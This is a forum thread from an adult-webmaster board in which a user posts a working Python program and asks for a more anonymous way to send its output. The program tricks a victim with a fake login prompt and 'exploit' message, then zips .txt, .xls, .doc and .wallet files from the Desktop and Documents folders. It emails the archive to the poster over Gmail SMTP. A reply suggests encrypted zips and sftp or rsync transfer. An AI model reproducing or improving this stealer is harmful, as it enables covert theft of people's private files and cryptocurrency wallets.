Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums.

You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today!

If you have any problems with the registration process or your account login, please contact us.

Post New Thread Reply

Register GFY Rules Calendar
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >
Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed.

 
Thread Tools
Old 04-13-2017, 12:36 AM   #1
deonbell
Confirmed User
 
deonbell's Avatar
 
Industry Role:
Join Date: Sep 2015
Posts: 1,045
Python - Better way to store a file remotely?

I wrote a python program a couple of years ago. It zipped all my desktop and document folder files and sent them to me in an e-mail.

Is there a better way to do this? I was think ftp or ssh? But need to remain anonymous. Maybe dropbox?

Here is my old code.
Code:
#just playing around with python
import os
import glob
import platform
import zipfile
import sys


userhome = os.path.expanduser('~')
desktop = userhome + '/Desktop/'
useros = platform.system()  
distribution = platform.linux_distribution() 

answeryes = "y"
answercapitalyes = "Y"
answerwordyes = "yes"
answercapitalwordyes = "YES"
allfileszipped = zipfile.ZipFile('thestuff.zip','w')

#creds
username = 'testing'
password = 'testingpass'


def savefilesoff(folder):
    for foldername,subfolders,filenames in os.walk(folder):
        for filename in filenames:		
		    if filename.endswith((".txt",".xls",".doc",".wallet")):
			   savefilename = os.path.join(foldername, filename)
			   thefilesize  = os.path.getsize(savefilename)
			   if thefilesize < 500000:
			     allfileszipped.write(savefilename)   
def continueevil(getlogin):
    errorfile = open('run.log', 'w')
    errorfile.write("error on connect")
    errorfile.close()
    savedwd = os.getcwd()
    
    os.chdir(desktop)

    savefilesoff(desktop)
  
  
    userhome = os.path.expanduser('~')
    documents = userhome + '/Documents/'



    os.chdir(documents)
    documentfiles = glob.glob('*.txt')

    savefilesoff(documents)

    
    os.chdir(savedwd)
    allfileszipped.close()
  
    sendfiles(getlogin)

	
       

def doevil():

    print "enter your login e-mail address and press enter"
    getlogin = raw_input()
    print "Connecting ........"
    print "zipping and sending file - this may take a moment"

    if os.path.isfile("run.log"):
       print "this exploit has been patched"
       allfileszipped.close() 
    else:
       continueevil(getlogin)
        
def sendfiles(getlogin):
    #send file
    import smtplib
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEText import MIMEText
    from email.MIMEBase import MIMEBase
    from email import encoders
    
    from_addr = "[email protected]"
    to_addr = "[email protected]"	
	
    msg = MIMEMultipart()
	
    msg['From'] = from_addr
    msg['To'] = to_addr
    msg['Subject'] = getlogin
	
    body = "here is the file for " + getlogin
	
    msg.attach(MIMEText(body, 'plain'))
	
    filename = "thestuff.zip"
    savedwd = os.getcwd() 
    attachment = open(savedwd+"/"+filename, "rb")
	
    part = MIMEBase('application', 'octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
	
    msg.attach(part)
    try: 	
       gserver = smtplib.SMTP("smtp.gmail.com",587)
       gserver.starttls()
       gserver.login(username,password)
       text = msg.as_string()
       gserver.sendmail(from_addr, to_addr, text)
       gserver.quit()
    except:
       print "internet connect error"
       os.remove("run.log")  

print "do you want to continue? Press Y And Hit Enter To Run"
yourdecision = raw_input()
if yourdecision == answeryes or yourdecision == answercapitalyes or yourdecision == answerwordyes or yourdecision == answercapitalwordyes:
   savedwd = os.getcwd()
   doevil()
   os.remove("thestuff.zip")   
else:
  allfileszipped.close()
  os.remove("thestuff.zip")  
  sys.exit()
deonbell is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 04-13-2017, 02:14 AM   #2
freecartoonporn
Confirmed User
 
freecartoonporn's Avatar
 
Industry Role:
Join Date: Jan 2012
Location: NC
Posts: 7,681
while creating zip set strong password.
transfer over ssl, like ssh rsync or sftp
freecartoonporn is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Post New Thread Reply
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >

Bookmarks

Tags
import, print, yourdecision, filename, def, userhome, file, allfileszipped.close, enter, getlogin, python, os.getcwd, savedwd, to_addr, answeryes, os.path.expanduser~, connect, thefilesize, answercapitalyes, answerwordyes, mimemultipart, from_addr, desktop, text, answercapitalwordyes



Advertising inquiries - marketing at gfy dot com

Contact Admin - Advertise - GFY Rules - Top

©2000-, AI Media Network Inc



Powered by vBulletin
Copyright © 2000- Jelsoft Enterprises Limited.